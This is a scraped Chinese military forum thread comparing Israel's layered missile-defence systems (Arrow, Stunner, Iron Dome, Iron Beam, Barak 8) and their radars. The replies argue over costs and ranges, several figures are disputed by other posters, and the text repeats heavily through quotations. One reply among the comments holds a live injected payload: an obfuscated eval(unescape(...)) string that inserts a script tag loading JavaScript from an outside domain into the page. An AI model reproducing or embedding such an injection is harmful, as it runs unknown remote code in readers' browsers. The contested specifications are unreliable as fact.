超级军网说说大卫国的防御系统从iron beam、巴拉克8、stunner 到 ...
来源：百度文库 编辑：超级军网 时间：2024/04/28 19:56:28
大卫国在06年的战争中吃尽了火箭弹苦头，又面临伊朗的威胁，所以下定决心搞反导、反飞机、反火箭弹、反炮弹系统。现在看来应该有5层系统，目前一直测试，特别是今年测试的导弹特别多，估计2020年前全部投入现役。陆基方面，第一层是箭3，第二层是箭2，第三层是stunner，第四层是iron dome，第五层是iron beam。当然除了弹体，配套的雷达也很重要，为此大卫研发了雷达，全部是相控阵ASEA的。下面根据我找到的资料，和大家切磋一下。
第一层是Arrow 3导弹，即箭3，12月10日，刚刚进行了拦截测试，箭3是08年开始研制，13年首次飞行测试。Arrow 3与老美的THAAD类似，采用hit to kill 的模式，即硬杀伤。Arrow 3 的射高在100公里以上，专门在太空拦截远程导弹。Arrow 3 与Arrow 2 ，共用相同的发射器。箭3的一个优势是有射后、观察、更新模式，即不确定导弹来袭方向的时候先发射导弹，弹头在太空中，然后目标导弹来袭时，激活导弹去碰撞。Arrow 3另外一个大优势是价格，IAI给出的价格是300万美金一枚，而老美的THAAD和标准3是2000万到3000万美元一枚。
对于Arrow 3 的雷达，一开始大卫是Super green pine 雷达，探测距离是 800–900公里，当然目前老美在以色列部署了AN/TPY2雷达。前几天IAI刚刚推出新的terra雷达系统，是两个雷达，一个在UHF波段，负责远程预警，另外一个型号是刚刚研制出来的工作在S波段的ELM-2090S ，IAI没说ELM-2090S探测距离多远，但极有可能达到老美的AN/TPY2雷达的1700公里。
第二层就是Arrow 2，负责大气层内拦截弹道导弹。目前是block 4 版本，即将推出block 5版本。Arrow 2采用的是近爆模式，而非Arrow 3的碰撞模式。但是在几次拦截测试中，导弹直接命中目标靶弹。Arrow 2采用两级火箭，最大飞行速度9马赫，射程应该在200公里。
IAI给Arrow2 配备的雷达是Green pine，现在更新到Super green pine 雷达，其中Green pine 探测距离是500公里，曾经出售给棒子，价格8000万美元。
第三层就是 David sling 系统，拦截弹是stunner，大卫目的是取代爱国者系统。stunner 12年首次拦截成功，15年又进行了测试，16年正式投入使用。stunner主要负责拦截大口径火箭弹、短程导弹，射程在70-300公里，射高30-50公里，采用采用hit to kill 的模式，即硬杀伤。stunner采用的是双脉冲发动机。最大的特色是采用IIR/雷达双模制导，而且弹头不对称。维基百科说stunner的最大速度是7.5马赫。
目前stunner 只有拦截弹道导弹的版本，至于拦截巡航导弹的还在研发中。stunner的拦截弹雷达是IAI的El/M 2084 多模式雷达，另外iron dome 也是用这个雷达，此雷达性能相当优秀，捷克、加拿大已经采购。同Arrow 3 类似，stunner 的一个优势是价格，Rafael估计单价为40-70万美元一枚，而同期的爱国者3为300万美元一枚。另外老美也对stunner很感兴趣，雷神建议stunner 配套爱国者3的雷达、发射车，直接作为爱国者4系统，即 PAAC-4系统。
说到stunner，不得不提barak 8导弹，barak 8是阿三与大卫合作的，与老美没关系。barak 8 弹体设计应该借鉴了 大卫的德比导弹，配搭的雷达是EL/M 2248，据说barak 8含雷达在内是2400万美元，个人有点怀疑，难道大卫的宙斯盾雷达EL/M 2248就那么不值钱，好歹也是探测400公里的四面ASEA雷达。另外barak 8 体积非常小，4.5 m高，仅重275公斤，但是射程高达75公里，更关键的是最大速度只有两马赫，估计只能迎头拦截，无法追击拦截了。另外大卫将barak 8定位为 反飞机、反导弹系统，所以大卫的萨尔5级已经将巴拉克1 拆除，只安装barak 8，用来打飞机、打反舰导弹。barak 8的最小拦截距离是500米，如果在远处没有拦截成功的话，可以继续发射导弹进行拦截。其实感觉，stunner 完全可以上舰，取代barak 8.
配套的EL/M 2248 雷达
第四层就是大名鼎鼎的iron dome，这个完全是06年那场战争的产物。当时很多人认为没有可行性，毕竟哈马斯的很多火箭弹飞行时间就几秒，但是大卫。。。irone dome 最小拦截距离是4公里，如果小于4公里，估计导弹都来不及拐弯。维基百科里说在irone dome 拦截到哈马斯的火箭弹后，哈马斯改变战法，改为同时发射火箭弹，而不是one by one，一个接一个的方法。11年拦截中，哈马斯同时发射了7枚火箭弹，其中一枚漏网。对于未来黎巴嫩真主党的威胁，个人认为其不会采用排山倒海式的发射，毕竟那样也容易被大卫的空军摧毁发射基地。iron dome 目前的问题是成本太高，一次拦截成本在10万美元，对于真主党的上万枚火箭弹来说，成本太高了。
第五层 iron beam 系统，进行火箭弹、炮弹拦截。iron beam是 激光反导。同iron dome一样，也是Rafael 负责的。其使用光纤激光器，拦截距离10公里，之所以这么近是因为考虑到天气对激光的影响。rafael公布的是使用两台激光器照射一个目标。当然激光器功率越大越好，这样对目标的照射时间也就越短。其中rafael 说法是目前已经达到90%的成功率。预计2016年服役。当然对真主党的火箭弹，大卫的对策只能是增加iron beam 的数量，另外可以增加iron beam的纵深分布，这样即使第一台照射失败了，第二台iron beam 继续照射。
目前来看，大卫的导弹技术绝对一流，特别是rafael、 IAI，有些方面个人感觉大卫已经超过欧洲的MBDA。对于防空大卫有arrow 3、stunner(即将成为爱国者4）、iron dome，巴拉克8、iron beam，空空导弹有怪蛇5、德比，反坦克有spike。欧洲也就法国强，高卢国也就是紫菀15、30，空空导弹米卡、流星，反坦克米兰。特别是反坦克导弹，spike 完爆米兰，而且大卫的价格也便宜，特别是arrow3、stunner。另外最重要的雷达技术，大卫90年代搞出费尔康，法国干脆采购老美的E-3，另外大卫的El/M 2248 相控阵雷达也强于老法的FREMM的EMPAR雷达，另外大卫采购的f-35战斗机极有可能使用自己的El/M 2052 雷达而不是老美的APG-81，至于阵风的RBE2AA还是算了，至于远程反导追踪雷达，大卫更搞出来了堪比AN/TPY2雷达的ELM-2090S，高卢雄鸡。。。
大卫国在06年的战争中吃尽了火箭弹苦头，又面临伊朗的威胁，所以下定决心搞反导、反飞机、反火箭弹、反炮弹系统。现在看来应该有5层系统，目前一直测试，特别是今年测试的导弹特别多，估计2020年前全部投入现役。陆基方面，第一层是箭3，第二层是箭2，第三层是stunner，第四层是iron dome，第五层是iron beam。当然除了弹体，配套的雷达也很重要，为此大卫研发了雷达，全部是相控阵ASEA的。下面根据我找到的资料，和大家切磋一下。
第一层是Arrow 3导弹，即箭3，12月10日，刚刚进行了拦截测试，箭3是08年开始研制，13年首次飞行测试。Arrow 3与老美的THAAD类似，采用hit to kill 的模式，即硬杀伤。Arrow 3 的射高在100公里以上，专门在太空拦截远程导弹。Arrow 3 与Arrow 2 ，共用相同的发射器。箭3的一个优势是有射后、观察、更新模式，即不确定导弹来袭方向的时候先发射导弹，弹头在太空中，然后目标导弹来袭时，激活导弹去碰撞。Arrow 3另外一个大优势是价格，IAI给出的价格是300万美金一枚，而老美的THAAD和标准3是2000万到3000万美元一枚。
1.jpg (26.26 KB, 下载次数: 15)
下载附件 保存到相册
410px-Arrow_system.jpg (38.59 KB, 下载次数: 14)
下载附件 保存到相册
对于Arrow 3 的雷达，一开始大卫是Super green pine 雷达，探测距离是 800–900公里，当然目前老美在以色列部署了AN/TPY2雷达。前几天IAI刚刚推出新的terra雷达系统，是两个雷达，一个在UHF波段，负责远程预警，另外一个型号是刚刚研制出来的工作在S波段的ELM-2090S ，IAI没说ELM-2090S探测距离多远，但极有可能达到老美的AN/TPY2雷达的1700公里。
TERRA-SITE-VIEW1021.jpg (266.74 KB, 下载次数: 17)
下载附件 保存到相册
第二层就是Arrow 2，负责大气层内拦截弹道导弹。目前是block 4 版本，即将推出block 5版本。Arrow 2采用的是近爆模式，而非Arrow 3的碰撞模式。但是在几次拦截测试中，导弹直接命中目标靶弹。Arrow 2采用两级火箭，最大飞行速度9马赫，射程应该在200公里。
Arrow_3_anti-ballistic_missile_system_Israeli_Aerospace_Industries_military_tech.jpg (73.41 KB, 下载次数: 14)
下载附件 保存到相册
IAI给Arrow2 配备的雷达是Green pine，现在更新到Super green pine 雷达，其中Green pine 探测距离是500公里，曾经出售给棒子，价格8000万美元。
EL-M-2080_Green_Pine.jpg (59.65 KB, 下载次数: 15)
下载附件 保存到相册
第三层就是 David sling 系统，拦截弹是stunner，大卫目的是取代爱国者系统。stunner 12年首次拦截成功，15年又进行了测试，16年正式投入使用。stunner主要负责拦截大口径火箭弹、短程导弹，射程在70-300公里，射高30-50公里，采用采用hit to kill 的模式，即硬杀伤。stunner采用的是双脉冲发动机。最大的特色是采用IIR/雷达双模制导，而且弹头不对称。维基百科说stunner的最大速度是7.5马赫。
Raytheon_and_Rafael_unveil_new_multi-mission_interceptor_Stunner_at_MSPO_2014 _640_001.jpg (25.56 KB, 下载次数: 14)
下载附件 保存到相册
目前stunner 只有拦截弹道导弹的版本，至于拦截巡航导弹的还在研发中。stunner的拦截弹雷达是IAI的El/M 2084 多模式雷达，另外iron dome 也是用这个雷达，此雷达性能相当优秀，捷克、加拿大已经采购。同Arrow 3 类似，stunner 的一个优势是价格，Rafael估计单价为40-70万美元一枚，而同期的爱国者3为300万美元一枚。另外老美也对stunner很感兴趣，雷神建议stunner 配套爱国者3的雷达、发射车，直接作为爱国者4系统，即 PAAC-4系统。
ELTA_ELM-2084_MMR.JPG (105.98 KB, 下载次数: 14)
下载附件 保存到相册
说到stunner，不得不提barak 8导弹，barak 8是阿三与大卫合作的，与老美没关系。barak 8 弹体设计应该借鉴了 大卫的德比导弹，配搭的雷达是EL/M 2248，据说barak 8含雷达在内是2400万美元，个人有点怀疑，难道大卫的宙斯盾雷达EL/M 2248就那么不值钱，好歹也是探测400公里的四面ASEA雷达。另外barak 8 体积非常小，4.5 m高，仅重275公斤，但是射程高达75公里，更关键的是最大速度只有两马赫，估计只能迎头拦截，无法追击拦截了。另外大卫将barak 8定位为 反飞机、反导弹系统，所以大卫的萨尔5级已经将巴拉克1 拆除，只安装barak 8，用来打飞机、打反舰导弹。barak 8的最小拦截距离是500米，如果在远处没有拦截成功的话，可以继续发射导弹进行拦截。其实感觉，stunner 完全可以上舰，取代barak 8.
17.jpg (135.07 KB, 下载次数: 15)
下载附件 保存到相册
1594693565565be2ee500a1.jpg (20.56 KB, 下载次数: 16)
下载附件 保存到相册
配套的EL/M 2248 雷达
Naval Barak-2 (left) & ELM-2248 MF-STAR.jpg (433.65 KB, 下载次数: 16)
下载附件 保存到相册
第四层就是大名鼎鼎的iron dome，这个完全是06年那场战争的产物。当时很多人认为没有可行性，毕竟哈马斯的很多火箭弹飞行时间就几秒，但是大卫。。。irone dome 最小拦截距离是4公里，如果小于4公里，估计导弹都来不及拐弯。维基百科里说在irone dome 拦截到哈马斯的火箭弹后，哈马斯改变战法，改为同时发射火箭弹，而不是one by one，一个接一个的方法。11年拦截中，哈马斯同时发射了7枚火箭弹，其中一枚漏网。对于未来黎巴嫩真主党的威胁，个人认为其不会采用排山倒海式的发射，毕竟那样也容易被大卫的空军摧毁发射基地。iron dome 目前的问题是成本太高，一次拦截成本在10万美元，对于真主党的上万枚火箭弹来说，成本太高了。
u=4094163673,2237142318&fm=21&gp=0.jpg (11.51 KB, 下载次数: 14)
下载附件 保存到相册
第五层 iron beam 系统，进行火箭弹、炮弹拦截。iron beam是 激光反导。同iron dome一样，也是Rafael 负责的。其使用光纤激光器，拦截距离10公里，之所以这么近是因为考虑到天气对激光的影响。rafael公布的是使用两台激光器照射一个目标。当然激光器功率越大越好，这样对目标的照射时间也就越短。其中rafael 说法是目前已经达到90%的成功率。预计2016年服役。当然对真主党的火箭弹，大卫的对策只能是增加iron beam 的数量，另外可以增加iron beam的纵深分布，这样即使第一台照射失败了，第二台iron beam 继续照射。
12.jpg (103.64 KB, 下载次数: 15)
下载附件 保存到相册
Artist_laser_flume_-_main.jpg (84.19 KB, 下载次数: 15)
下载附件 保存到相册
目前来看，大卫的导弹技术绝对一流，特别是rafael、 IAI，有些方面个人感觉大卫已经超过欧洲的MBDA。对于防空大卫有arrow 3、stunner(即将成为爱国者4）、iron dome，巴拉克8、iron beam，空空导弹有怪蛇5、德比，反坦克有spike。欧洲也就法国强，高卢国也就是紫菀15、30，空空导弹米卡、流星，反坦克米兰。特别是反坦克导弹，spike 完爆米兰，而且大卫的价格也便宜，特别是arrow3、stunner。另外最重要的雷达技术，大卫90年代搞出费尔康，法国干脆采购老美的E-3，另外大卫的El/M 2248 相控阵雷达也强于老法的FREMM的EMPAR雷达，另外大卫采购的f-35战斗机极有可能使用自己的El/M 2052 雷达而不是老美的APG-81，至于阵风的RBE2AA还是算了，至于远程反导追踪雷达，大卫更搞出来了堪比AN/TPY2雷达的ELM-2090S，高卢雄鸡。。。
犹太人的这些玩意新意是有的，但是也摆脱不了美国军火那一脉的臭毛病~~~~~~就是用一型导弹可以解决的问题它要开发出4、5型导弹~~~~~~~~
没什么用的东西，以色列最大威胁势力都不远。火箭蛋就能打到，火箭蛋这种东西。几辆车就几分钟就打几百发。防御系统管的过来吗？
yzyz121 发表于 2016-1-11 11:25
没什么用的东西，以色列最大威胁势力都不远。火箭蛋就能打到，火箭蛋这种东西。几辆车就几分钟就打几百发。 ...
关键是大卫的空军也不是吃素的，说不定发射车刚停下来，就被大卫的空军摧毁了。所以，真主党只能零星的发射。
没什么用的东西，以色列最大威胁势力都不远。火箭蛋就能打到，火箭蛋这种东西。几辆车就几分钟就打几百发。 ...
关键是大卫的空军也不是吃素的，说不定发射车刚停下来，就被大卫的空军摧毁了。所以，真主党只能零星的发射。
神马情况，看看先http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'
pighead~o~ 发表于 2016-1-11 10:22
犹太人的这些玩意新意是有的，但是也摆脱不了美国军火那一脉的臭毛病~~~~~~就是用一型导弹可以解决的问题它 ...
俄国S-400系统计划配置5款拦截弹，现有3款，另外2款还在测试或研发，其中只有一款是动能战斗部，其他四款都是破片战斗部。
法意SAMP/T配置两款拦截弹，现役紫苑-30 blockⅠ拦截大气层飞行器及近程弹道导弹，研发中的紫苑-30 block Ⅱ拦截中远程弹道导弹，都是动能战斗部。
德意Meads配置两款拦截弹，低端IRIS-T SL，高端PAC-3 MSE
美陆军爱国者3系统配置两款拦截弹，PAC-3与PAC-3 MSE，都是动能战斗部。
PAC-3 MSE与紫苑-30 blockⅠ相当。
犹太人的这些玩意新意是有的，但是也摆脱不了美国军火那一脉的臭毛病~~~~~~就是用一型导弹可以解决的问题它 ...
俄国S-400系统计划配置5款拦截弹，现有3款，另外2款还在测试或研发，其中只有一款是动能战斗部，其他四款都是破片战斗部。
法意SAMP/T配置两款拦截弹，现役紫苑-30 blockⅠ拦截大气层飞行器及近程弹道导弹，研发中的紫苑-30 block Ⅱ拦截中远程弹道导弹，都是动能战斗部。
德意Meads配置两款拦截弹，低端IRIS-T SL，高端PAC-3 MSE
美陆军爱国者3系统配置两款拦截弹，PAC-3与PAC-3 MSE，都是动能战斗部。
PAC-3 MSE与紫苑-30 blockⅠ相当。
yzyz121 发表于 2016-1-11 11:25
没什么用的东西，以色列最大威胁势力都不远。火箭蛋就能打到，火箭蛋这种东西。几辆车就几分钟就打几百发。 ...
然而，实战已经证明铁穹系统的价值。
没什么用的东西，以色列最大威胁势力都不远。火箭蛋就能打到，火箭蛋这种东西。几辆车就几分钟就打几百发。 ...
然而，实战已经证明铁穹系统的价值。
数据错漏百出。
THAAD拦截弹2016财年预算约一千万美元一枚，铁穹拦截弹单价五万美元。
http://lt.cjdby.net/forum.php?mo ... &extra=page%3D1
优酷网搜索“以色列铁穹具备智能性 成功拦4百枚火箭弹”
giraffetwo 发表于 2016-1-11 15:27
优酷网搜索“以色列铁穹具备智能性 成功拦4百枚火箭弹”
维基百科说截至14年10月就已经拦截了1200枚，单单12年的Operation Pillar of Defense（防务之柱）中就拦截400枚。更关键的是，等两年后iron beam投入使用，对付高密度火箭弹攻击，大卫那时只需增加iron beam的武器数量就行了，那时也是真主党的末日。
优酷网搜索“以色列铁穹具备智能性 成功拦4百枚火箭弹”
维基百科说截至14年10月就已经拦截了1200枚，单单12年的Operation Pillar of Defense（防务之柱）中就拦截400枚。更关键的是，等两年后iron beam投入使用，对付高密度火箭弹攻击，大卫那时只需增加iron beam的武器数量就行了，那时也是真主党的末日。
giraffetwo 发表于 2016-1-11 15:11
数据错漏百出。
THAAD拦截弹2016财年预算约一千万美元一枚，铁穹拦截弹单价五万美元。
我参考的是老美出售给阿联酋的价格，当然老美自己用肯定便宜。
数据错漏百出。
THAAD拦截弹2016财年预算约一千万美元一枚，铁穹拦截弹单价五万美元。
我参考的是老美出售给阿联酋的价格，当然老美自己用肯定便宜。
用El/M 2052代替APG81？要么钱不够，要么只能说APG81对犹太性能过剩。。。。。。。。。
然而，实战已经证明铁穹系统的价值。
根本没发生真正的战争吧，伊朗也没打过，中国出口的火箭蛋发射车也没上呢。可以卖几台ws车试试。
根本没发生真正的战争吧，伊朗也没打过，中国出口的火箭蛋发射车也没上呢。可以卖几台ws车试试。
xiaoli3 发表于 2016-1-11 15:36
维基百科说截至14年10月就已经拦截了1200枚，单单12年的Operation Pillar of Defense（防务之柱）中就拦 ...
黎巴嫩真主党已经不成气候，龟缩在黎巴嫩南部，北面是掌握黎巴嫩军政大权的基督徒马龙派，以色列是马龙派坚定盟友，真主党夹在两大强敌之间。另外，马龙派每年接受美国沙特两国二十多亿美元军事援助。
维基百科说截至14年10月就已经拦截了1200枚，单单12年的Operation Pillar of Defense（防务之柱）中就拦 ...
黎巴嫩真主党已经不成气候，龟缩在黎巴嫩南部，北面是掌握黎巴嫩军政大权的基督徒马龙派，以色列是马龙派坚定盟友，真主党夹在两大强敌之间。另外，马龙派每年接受美国沙特两国二十多亿美元军事援助。
xiaoli3 发表于 2016-1-11 15:40
我参考的是老美出售给阿联酋的价格，当然老美自己用肯定便宜。
阿联酋采购的是一整套系统，除了硬件设备，还包括培训、备件、后勤、售后等等一揽子项目。
我参考的是老美出售给阿联酋的价格，当然老美自己用肯定便宜。
阿联酋采购的是一整套系统，除了硬件设备，还包括培训、备件、后勤、售后等等一揽子项目。
yzyz121 发表于 2016-1-11 16:12
根本没发生真正的战争吧，伊朗也没打过，中国出口的火箭蛋发射车也没上呢。可以卖几台ws车试试。
铁穹系统强于美陆军下一代野战防空系统IFPS Inc2-I
在以色列强大C4ISR及空中力量威胁下，哈马斯真主党的导弹火箭弹发射车根本没有生存力，只能采用快速架设及易于隐藏的简易发射装置，下图
yzyz121 发表于 2016-1-11 16:12
根本没发生真正的战争吧，伊朗也没打过，中国出口的火箭蛋发射车也没上呢。可以卖几台ws车试试。
铁穹系统强于美陆军下一代野战防空系统IFPS Inc2-I
在以色列强大C4ISR及空中力量威胁下，哈马斯真主党的导弹火箭弹发射车根本没有生存力，只能采用快速架设及易于隐藏的简易发射装置，下图
火箭弹.jpg (449.7 KB, 下载次数: 1)
下载附件 保存到相册
2016-1-11 16:54 上传
鬼神 发表于 2016-1-11 15:50
用El/M 2052代替APG81？要么钱不够，要么只能说APG81对犹太性能过剩。。。。。。。。。
我还是很相信大卫搞雷达的实力，当年大卫采购的F-16I战斗机就采用 APG-68 (V)9 雷达，大卫对性能相当不满意，更倾向于采购El/M 2032。
用El/M 2052代替APG81？要么钱不够，要么只能说APG81对犹太性能过剩。。。。。。。。。
我还是很相信大卫搞雷达的实力，当年大卫采购的F-16I战斗机就采用 APG-68 (V)9 雷达，大卫对性能相当不满意，更倾向于采购El/M 2032。
giraffetwo 发表于 2016-1-11 16:51
铁穹系统强于美陆军下一代野战防空系统IFPS Inc2-I
当年iron dome刚推出来的时候，一枚拦截弹7-10万美元，现在和老美合作后，只需2万美元了。估计iron beam成功后，也会和老美合作，通过美援进行采购。
铁穹系统强于美陆军下一代野战防空系统IFPS Inc2-I
当年iron dome刚推出来的时候，一枚拦截弹7-10万美元，现在和老美合作后，只需2万美元了。估计iron beam成功后，也会和老美合作，通过美援进行采购。
激光武器真心科幻
giraffetwo 发表于 2016-1-11 15:05
俄国S-400系统计划配置5款拦截弹，现有3款，另外2款还在测试或研发，其中只有一款是动能战斗部，其他四款 ...
我对法意的SAMP/T的bloack I，还有爱国者3的动能碰撞很怀疑。动能碰撞末端都是红外如THAAD、标准3、stunner等，单靠雷达即使波长很短很短，也不如红外。
俄国S-400系统计划配置5款拦截弹，现有3款，另外2款还在测试或研发，其中只有一款是动能战斗部，其他四款 ...
我对法意的SAMP/T的bloack I，还有爱国者3的动能碰撞很怀疑。动能碰撞末端都是红外如THAAD、标准3、stunner等，单靠雷达即使波长很短很短，也不如红外。
以色列搞的反导是美国佬分派的吗，种类如此齐全；研发成功了伊朗什么的弹道导弹看来很难威胁到他了
xiaoli3 发表于 2016-1-11 17:01
我还是很相信大卫搞雷达的实力，当年大卫采购的F-16I战斗机就采用 APG-68 (V)9 雷达，大卫对性能相当不 ...
我姑且先不说两者雷达性能如何，就说APG81是MD综合射频系统的一部分，你把El/M 2052换上去了，和系统其他部分的单元怎么综合？难道你还想MD对犹太佬开放所有源代码？还是让犹太佬出钱让MD来弄整合？犹太佬是MD的爷爷不假，但是孙子可不是什么时候都孝顺的。
我还是很相信大卫搞雷达的实力，当年大卫采购的F-16I战斗机就采用 APG-68 (V)9 雷达，大卫对性能相当不 ...
我姑且先不说两者雷达性能如何，就说APG81是MD综合射频系统的一部分，你把El/M 2052换上去了，和系统其他部分的单元怎么综合？难道你还想MD对犹太佬开放所有源代码？还是让犹太佬出钱让MD来弄整合？犹太佬是MD的爷爷不假，但是孙子可不是什么时候都孝顺的。
xiaoli3 发表于 2016-1-11 17:04
当年iron dome刚推出来的时候，一枚拦截弹7-10万美元，现在和老美合作后，只需2万美元了。估计iron beam ...
铁穹拦截弹一直是以色列企业生产，采办资金大部分来自美援，单价维持在五万美元。
那个激光武器是以色列的科研项目，非采办项目。
当年iron dome刚推出来的时候，一枚拦截弹7-10万美元，现在和老美合作后，只需2万美元了。估计iron beam ...
铁穹拦截弹一直是以色列企业生产，采办资金大部分来自美援，单价维持在五万美元。
那个激光武器是以色列的科研项目，非采办项目。
xiaoli3 发表于 2016-1-11 17:30
我对法意的SAMP/T的bloack I，还有爱国者3的动能碰撞很怀疑。动能碰撞末端都是红外如THAAD、标准3、stunn ...
拦截大气层目标采用毫米波雷达导引头，拦截大气层外目标采用热成像导引头，物理特性决定。
毫米波雷达，又叫合成孔径雷达，成像雷达。
PAC-3（爱国者3）系统的ERINT拦截弹使用了高精度的Ka波段(据称是8毫米)毫米波主动雷达制导，制导精度比之PAC-2有质的提高，模拟计算其制导误差小于0.17米， PAC-2导弹C波段TVM制导则有约5米的精度误差。PAC-3拦截弹增加了180个小型侧向发动机提供末端修正。
xiaoli3 发表于 2016-1-11 17:30
我对法意的SAMP/T的bloack I，还有爱国者3的动能碰撞很怀疑。动能碰撞末端都是红外如THAAD、标准3、stunn ...
拦截大气层目标采用毫米波雷达导引头，拦截大气层外目标采用热成像导引头，物理特性决定。
毫米波雷达，又叫合成孔径雷达，成像雷达。
PAC-3（爱国者3）系统的ERINT拦截弹使用了高精度的Ka波段(据称是8毫米)毫米波主动雷达制导，制导精度比之PAC-2有质的提高，模拟计算其制导误差小于0.17米， PAC-2导弹C波段TVM制导则有约5米的精度误差。PAC-3拦截弹增加了180个小型侧向发动机提供末端修正。
PAC-3（爱国者3）系统的ERINT拦截弹使用了高精度的Ka波段(据称是8毫米)毫米波主动雷达.jpg (20.91 KB, 下载次数: 1)
下载附件 保存到相册
PAC-3系统的ERINT拦截弹采用动能撞击模式击毁目标。.jpg (121.28 KB, 下载次数: 2)
下载附件 保存到相册
THAAD系统的拦截弹（下）、PAC-3 MSE（中）、PAC-3（上），同为洛马公司研制的动能拦截弹。2.jpg (208.56 KB, 下载次数: 1)
下载附件 保存到相册
giraffetwo 发表于 2016-1-11 22:12
拦截大气层目标采用毫米波雷达导引头，拦截大气层外目标采用热成像导引头，物理特性决定。
毫米波雷达， ...
合成孔径是工作机制，毫米波是工作波段，不要混为一谈。
拦截大气层目标采用毫米波雷达导引头，拦截大气层外目标采用热成像导引头，物理特性决定。
毫米波雷达， ...
合成孔径是工作机制，毫米波是工作波段，不要混为一谈。
黎巴嫩真主党已经不成气候，龟缩在黎巴嫩南部，北面是掌握黎巴嫩军政大权的基督徒马龙派，以色列是马龙派 ...
真主党正陷在叙利亚和政府军并肩作战对付反对派吧。
真主党正陷在叙利亚和政府军并肩作战对付反对派吧。
EL/M-2248的孔径看上去不大，探测距离应该没有400公里，wiki上写是250公里。
hakase 发表于 2016-1-12 05:26
EL/M-2248的孔径看上去不大，探测距离应该没有400公里，wiki上写是250公里。
这个取决于ELM/2048 的T/R模块，ELM/2048可以调整天线吨位，装在1000吨级的萨尔5级估计就250公里，但是6000吨级别印度加尔各答就400公里。
EL/M-2248的孔径看上去不大，探测距离应该没有400公里，wiki上写是250公里。
这个取决于ELM/2048 的T/R模块，ELM/2048可以调整天线吨位，装在1000吨级的萨尔5级估计就250公里，但是6000吨级别印度加尔各答就400公里。
giraffetwo 发表于 2016-1-11 16:51
铁穹系统强于美陆军下一代野战防空系统IFPS Inc2-I
现在iron beam的有效范围也就7公里左右。大卫很可能在其成功后移植到军舰上，作为拦截反舰导弹的最后一个屏障。导弹从最初的打飞机，弹片式反导，到碰撞反导，即使碰撞反导从arrow3、thaad看，也基本成熟了。我估计下一个30年的反导应该是激光唱主角，但必须要解决2个问题，第一大功率的激光器，毕竟功率越大，照射时间可以越短。第二，要克服天气的影响，有效距离越远越好。iron beam是激光武器的一个先行者。
铁穹系统强于美陆军下一代野战防空系统IFPS Inc2-I
现在iron beam的有效范围也就7公里左右。大卫很可能在其成功后移植到军舰上，作为拦截反舰导弹的最后一个屏障。导弹从最初的打飞机，弹片式反导，到碰撞反导，即使碰撞反导从arrow3、thaad看，也基本成熟了。我估计下一个30年的反导应该是激光唱主角，但必须要解决2个问题，第一大功率的激光器，毕竟功率越大，照射时间可以越短。第二，要克服天气的影响，有效距离越远越好。iron beam是激光武器的一个先行者。
giraffetwo 发表于 2016-1-11 22:12
拦截大气层目标采用毫米波雷达导引头，拦截大气层外目标采用热成像导引头，物理特性决定。
毫米波雷达， ...
大卫的负责大气层内拦截的arrow 2、stunner都是末端红外、雷达双制导。看看15年沙特阿拉伯的PAC2对胡塞的导弹拦截，pac2的效果并不好。
拦截大气层目标采用毫米波雷达导引头，拦截大气层外目标采用热成像导引头，物理特性决定。
毫米波雷达， ...
大卫的负责大气层内拦截的arrow 2、stunner都是末端红外、雷达双制导。看看15年沙特阿拉伯的PAC2对胡塞的导弹拦截，pac2的效果并不好。
giraffetwo 发表于 2016-1-11 22:06
铁穹拦截弹一直是以色列企业生产，采办资金大部分来自美援，单价维持在五万美元。
那个激光武器是以色列 ...
当年iron dome 也不是采办项目，甚至是一个个人项目，连企业项目都算不上。因为大卫的政府不相信能够拦截火箭弹，一开始连资助都不提供，当然后来就直接部署了。。。
铁穹拦截弹一直是以色列企业生产，采办资金大部分来自美援，单价维持在五万美元。
那个激光武器是以色列 ...
当年iron dome 也不是采办项目，甚至是一个个人项目，连企业项目都算不上。因为大卫的政府不相信能够拦截火箭弹，一开始连资助都不提供，当然后来就直接部署了。。。
xiaoli3 发表于 2016-1-12 09:42
现在iron beam的有效范围也就7公里左右。大卫很可能在其成功后移植到军舰上，作为拦截反舰导弹的最后一个 ...
美海军早已把激光武器部署在军舰上执行海外任务，空军特战司令部的C-130过几年也要集成激光武器测试。
美国搞的激光武器项目一大堆，德国日本等国也在搞。
现在iron beam的有效范围也就7公里左右。大卫很可能在其成功后移植到军舰上，作为拦截反舰导弹的最后一个 ...
美海军早已把激光武器部署在军舰上执行海外任务，空军特战司令部的C-130过几年也要集成激光武器测试。
美国搞的激光武器项目一大堆，德国日本等国也在搞。
xiaoli3 发表于 2016-1-12 12:46
当年iron dome 也不是采办项目，甚至是一个个人项目，连企业项目都算不上。因为大卫的政府不相信能够拦截 ...
铁穹系统一开始就是以美两国一起搞的，立项之初就是采办项目。
当年iron dome 也不是采办项目，甚至是一个个人项目，连企业项目都算不上。因为大卫的政府不相信能够拦截 ...
铁穹系统一开始就是以美两国一起搞的，立项之初就是采办项目。
xiaoli3 发表于 2016-1-12 12:46
当年iron dome 也不是采办项目，甚至是一个个人项目，连企业项目都算不上。因为大卫的政府不相信能够拦截 ...
大卫投石 可不可以理解为射程 70到300km 的铁穹 铁穹可不可以理解为 射程4到70底大卫投石
当年iron dome 也不是采办项目，甚至是一个个人项目，连企业项目都算不上。因为大卫的政府不相信能够拦截 ...
大卫投石 可不可以理解为射程 70到300km 的铁穹 铁穹可不可以理解为 射程4到70底大卫投石
xiaoli3 发表于 2016-1-12 08:43
这个取决于ELM/2048 的T/R模块，ELM/2048可以调整天线吨位，装在1000吨级的萨尔5级估计就250公里，但是60 ...
400公里这个数据有没有可靠的来源，连印度人也只是宣称加尔各答上的MF-STAR能探测到250公里外飞机大小的目标，IAI官网给出的自动跟踪飞机大小目标的距离为120公里
这个取决于ELM/2048 的T/R模块，ELM/2048可以调整天线吨位，装在1000吨级的萨尔5级估计就250公里，但是60 ...
400公里这个数据有没有可靠的来源，连印度人也只是宣称加尔各答上的MF-STAR能探测到250公里外飞机大小的目标，IAI官网给出的自动跟踪飞机大小目标的距离为120公里
xiaoli3 发表于 2016-1-12 08:43
这个取决于ELM/2048 的T/R模块，ELM/2048可以调整天线吨位，装在1000吨级的萨尔5级估计就250公里，但是60 ...
这个说法有资料吗？探测距离如果要从250公里升级到400公里，天线阵面面积要增加到2.5倍，我从两舰的照片上看不出这么大的差距。
这个取决于ELM/2048 的T/R模块，ELM/2048可以调整天线吨位，装在1000吨级的萨尔5级估计就250公里，但是60 ...
